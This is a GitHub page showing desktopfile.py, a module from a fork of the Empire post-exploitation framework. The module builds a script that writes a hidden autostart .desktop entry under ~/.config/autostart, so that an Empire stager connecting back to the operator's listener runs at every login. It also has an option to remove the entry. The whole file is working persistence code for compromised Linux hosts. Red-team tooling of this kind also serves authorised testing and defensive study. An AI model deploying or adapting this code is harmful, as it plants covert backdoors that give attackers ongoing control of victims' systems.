forked from EmpireProject/Empire
-
-
Notifications
You must be signed in to change notification settings - Fork 579
/
desktopfile.py
59 lines (52 loc) · 1.57 KB
/
desktopfile.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule
from empire.server.utils.string_util import removeprefix, removesuffix
class Module:
@staticmethod
def generate(
main_menu: MainMenu,
module: EmpireModule,
params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
remove = params["Remove"]
file_name = params["FileName"]
listener_name = params["Listener"]
launcher = main_menu.stagers.generate_launcher(listener_name, language="python")
launcher = removeprefix(launcher, "echo ")
launcher = removesuffix(launcher, " | python3 &")
dt_settings = f"""
[Desktop Entry]
Name={file_name}
Exec=python -c {launcher}
Type=Application
NoDisplay=True
"""
script = f"""
import subprocess
import sys
import os
remove = "{remove}"
dtFile = \"\"\"
{dt_settings}
\"\"\"
home = os.path.expanduser("~")
filePath = home + "/.config/autostart/"
writeFile = filePath + "{file_name}.desktop"
if remove.lower() == "true":
if os.path.isfile(writeFile):
os.remove(writeFile)
print("\\n[+] Persistence has been removed")
else:
print("\\n[-] Persistence file does not exist, nothing removed")
else:
if not os.path.exists(filePath):
os.makedirs(filePath)
e = open(writeFile,'w')
e.write(dtFile)
e.close()
print("\\n[+] Persistence has been installed: ~/.config/autostart/{file_name}")
print("\\n[+] Empire daemon has been written to {file_name}")
"""
return script